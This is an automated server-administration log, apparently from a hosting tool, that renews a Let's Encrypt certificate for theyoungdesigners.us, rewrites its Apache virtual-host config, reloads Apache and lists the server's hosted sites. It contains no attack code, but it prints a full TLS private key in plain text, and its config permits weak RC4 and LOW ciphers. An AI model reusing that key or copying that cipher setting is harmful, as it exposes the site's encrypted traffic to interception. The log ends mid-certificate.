VcSEX3sbnfvFfc0RajMGTJs2Gb_TRWrxaw4DAvy6NO4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VcSEX3sbnfvFfc0RajMGTJs2Gb_TRWrxaw4DAvy6NO4
cat > LZUC9REH1Uu2WBRal9zs_-RKJQpQ5whkJuoNHWtzNMg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LZUC9REH1Uu2WBRal9zs_-RKJQpQ5whkJuoNHWtzNMg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LZUC9REH1Uu2WBRal9zs_-RKJQpQ5whkJuoNHWtzNMg


2025-09-28 06:00:32: 

chmod 755 /tmp/pkp768122; /tmp/pkp768122; rm /tmp/pkp768122

2025-09-28 06:00:32: 




2025-09-28 06:00:38: Establishing a connection
2025-09-28 06:00:38: 

PUT: /tmp/pkp916594

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
rm VcSEX3sbnfvFfc0RajMGTJs2Gb_TRWrxaw4DAvy6NO4
rm LZUC9REH1Uu2WBRal9zs_-RKJQpQ5whkJuoNHWtzNMg


2025-09-28 06:00:38: 

chmod 755 /tmp/pkp916594; /tmp/pkp916594; rm /tmp/pkp916594

2025-09-28 06:00:38: 




2025-09-28 06:00:38: Establishing a connection
2025-09-28 06:00:38: 

PUT: /tmp/pkp353467

#!/bin/bash
temp_file=$(mktemp)
TARGET=f13c10b0bf992120e8f0bf3f4c84b2c5.crt

cat > $temp_file <<'endmsg'
ba:c1:ac:7e:75:e2:84:0b:a8:78:96:ea:e0:fd:14:80

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBXqx/YBWlalTgwOwF+BhCgw7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI4MDUwMjA3WhcNMjUxMjI3MDUwMjA2WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAPjKkDL2XhNCgIDGEfskszOkoxbhIGg7KAbbZ5UXLpxaf6s0FZLu1K6K
pfEW6F+yUpkKh4RDCysEB2CchxlLyIHIBdu566C6t1y/yzpJLDCeEfr6dMP2RIVz
3mWrRcFiwYpUMpQBoYr0rcXnUTRa2kFTL9fnPXN+jeNqvy+2nwymRcWeCFWOBtEn
waXDts9eqpGV2jzDb0n6htd1YCE/ZFy9QgIxs/AbUkkgKkGVZcQRAI+Dh3OtLi8s
zcz6izT3N4VvjAcxCmmqVeYbIU0mvGG8KjIlZes1ZmI//WRu9U5xPu0oAhx2kexR
tF8x6bgE+eNsTkLJgSpTuJO4yUh3BWECAwEAAaOCAj8wggI7MA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUk1UPifWzlVNdQJn59wouc8pyUpYwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NjAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcApELFBklgYVSPD9TqnPt6
LSZFTYepfy/fRVn2J086hFQAAAGZjuitdwAABAMASDBGAiEArtDKc8u9vj1Jnpai
D2Y8SZ6sYqEqlYjepLJ1j+jg2mwCIQDyq3Oe9u32ghfEJHq6/71exFItYgk8zcMG
N5D4mLSdQgB2AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmY7o
rcEAAAQDAEcwRQIhANWIa/IWd2Pe0udJb9jMaoQKjL6+zzx+6mEylCKm1AzNAiBC
7gOAAJ3Y8Ojht+vD8FSw1Xay1TFw08TM5t3PPbU0ZTANBgkqhkiG9w0BAQsFAAOC
AQEAHg3rQ9rOMKw6m+3ujMjd7IiXOoxtPQdG6S3W0NWf1jP59Gs1l7OSsxAsBzI0
S/f+mpgfkOt0y+6tD2pROtHJ2RB++lAethhvwXibnEkakbvbSESArJJ/99evqrek
v6poPxDhKEvmvb61AVAdZH1WR+S7q3q/CZkgxMzAOvpxUV18Fe7Az/IwXVxzmreE
7LQO53B/YLK+RuJKuVN6wvXzftHlK9y3NoVuUf+U4Ko1raSfRp68Ushv5g5Bzo+U
TjQRTz8hH26cEbB3pc1e+aY/63QP6eESbqPjpLb2i9dkVRO3WuiSHNKnLbzoRxoX
xxiarnrvacws/Lj3RNmf6RFdLw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQD4ypAy9l4TQoCA
xhH7JLMzpKMW4SBoOygG22eVFy6cWn+rNBWS7tSuiqXxFuhfslKZCoeEQwsrBAdg
nIcZS8iByAXbueugurdcv8s6SSwwnhH6+nTD9kSFc95lq0XBYsGKVDKUAaGK9K3F
51E0WtpBUy/X5z1zfo3jar8vtp8MpkXFnghVjgbRJ8Glw7bPXqqRldo8w29J+obX
dWAhP2RcvUICMbPwG1JJICpBlWXEEQCPg4dzrS4vLM3M+os09zeFb4wHMQppqlXm
GyFNJrxhvCoyJWXrNWZiP/1kbvVOcT7tKAIcdpHsUbRfMem4BPnjbE5CyYEqU7iT
uMlIdwVhAgMBAAECggEBAIpHvEI3IS6/RcFNVe0rBtdraKJs2qBUUPkOtdHuIqAQ
xOkZd+xFBr1EntsTinC2IqahbZUb1ndANAGEvqpWrslDrc3k1oxte0D38TMiPIeB
NCk1T/UjSg6Kyk/kFE9aXoxOJBaTmYAsYvGekknxPWIVpH/yLPummaKPUFhqvpg+
MfZXJDZsSr1gDLjjKkMnUssTW2wKheagchKhXi5fHwdCmhG4xp+Az24HTQKR1WHn
Ciyt4G22WZu2KP2VJNeCL5o8VuIwchDeS5hP5CDf2Q6Pb0L/xPf5V7m+7c9HXE+E
lStkRXcMhr3XBlSWAJhz6Rf+YHeDcjzKnwbxvBG/y4ECgYEA/yVZj3j4TIi2Qbfd
GwwaE+TwWJ+iRLncZf2wN6LkZqcII8QAkpKWfpyVvzXf8adzqv0f+BCg9y+dDl1R
ydtSSsLmRYa0J4rlf6fNRwad4gENb4Px5433UZt905TYOwrGQUPN/oQZ/nnVFvxk
MITcDuYlaAdz4T3R72/ccdUaBHkCgYEA+Z/Ei6hOtYjQVYtQRcfWyMfmW1DSC8lZ
0Zwqxs6Ty45BVJSsASlKh871XLWqr+SygHyIGP87OPc2xOCq6rnkS4ksrm1uyU6t
7CqSwGSrq4MvsXwgdk/fh34yg+TG3zYKn1GMYmSUa+fI7ExpBMoL2oCiDG+8RtJm
LmNC8UgvPikCgYAVXJwt/fPT/JI92FYDwLSiO8W/tcXROTpxs5bAYbv7uDpfPDbM
DsfY2+VRuAIC6oEtrLmzfDjt2SeuHzQM0XcHWWAMLCYDNYbXdEYkjzJCzNHCJ2rm
dyVgyML1Jv4fm1xT9IhXqdm/S5YCsaj1wvnlqXEyT4VtM07TXCs5wJzICQKBgQDp
oWj5NSuFqGkkx2D4DpOuE7o8GSaeNXPFRR6cN9gIGjp3CTb7V0QUW9U1UipQugF/
VA6lJqytImO2XHhbfGR5dgfFsVKRQvxxH19+hjpOKlhHC1/um88gJzLsUwD3BMNo
XZDAvlZTr/pTfyiDfP8fIGmKrkFPH7jXDbwny2G8EQKBgQDx2oIwetHHjydG4mnT
qigptAJ8Lyj02DCR8OxStKLeaGYBXbRwlADgLDQOTPLg08/MDJ8V3S76vVuRzqBX
GXXY3XlKeguJ/QMBq8P18s4uzz3V0L8RxwSDspSA3XFIlI7DTeV/Vt7EGSozwiNy
AOEjFsfaaC3NH5gmTUCkigNQZg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-28 06:00:38: 

chmod 755 /tmp/pkp353467; /tmp/pkp353467; rm /tmp/pkp353467

2025-09-28 06:00:38: 


dir=/etc/ssl/certs


2025-09-28 06:00:38: 

PUT: /tmp/pkp763007

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-28 06:00:38: 

chmod 755 /tmp/pkp763007; /tmp/pkp763007; rm /tmp/pkp763007

2025-09-28 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf 48

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-28 06:00:38: 

PUT: /tmp/pkp621203

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_us.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf= 1'
fi


2025-09-28 06:00:38: 

chmod 755 /tmp/pkp621203; /tmp/pkp621203; rm /tmp/pkp621203

2025-09-28 06:00:38: 




2025-09-28 06:00:38: 

PUT: /tmp/pkp894383

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-28 06:00:38: 

chmod 755 /tmp/pkp894383; /tmp/pkp894383; rm /tmp/pkp894383

2025-09-28 06:00:38: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-28 06:00:38: Establishing a connection
2025-09-28 06:00:38: 

PUT: /tmp/pkp587232

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-28 06:00:39: 

chmod 755 /tmp/pkp587232; /tmp/pkp587232; rm /tmp/pkp587232

2025-09-28 06:00:39: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-28 06:00:39: 

PUT: /tmp/pkp556722

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-28 06:00:39: 

chmod 755 /tmp/pkp556722; /tmp/pkp556722; rm /tmp/pkp556722

2025-09-28 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf	1781

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-28 06:00:39: 

PUT: /tmp/pkp683523

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-28 06:00:39: 

chmod 755 /tmp/pkp683523; /tmp/pkp683523; rm /tmp/pkp683523

2025-09-28 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt	5402
ba:c1:ac:7e:75:e2:84:0b:a8:78:96:ea:e0:fd:14:80

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBXqx/YBWlalTgwOwF+BhCgw7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI4MDUwMjA3WhcNMjUxMjI3MDUwMjA2WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAPjKkDL2XhNCgIDGEfskszOkoxbhIGg7KAbbZ5UXLpxaf6s0FZLu1K6K
pfEW6F+yUpkKh4RDCysEB2CchxlLyIHIBdu566C6t1y/yzpJLDCeEfr6dMP2RIVz
3mWrRcFiwYpUMpQBoYr0rcXnUTRa2kFTL9fnPXN+jeNqvy+2nwymRcWeCFWOBtEn
waXDts9eqpGV2jzDb0n6htd1YCE/ZFy9QgIxs/AbUkkgKkGVZcQRAI+Dh3OtLi8s
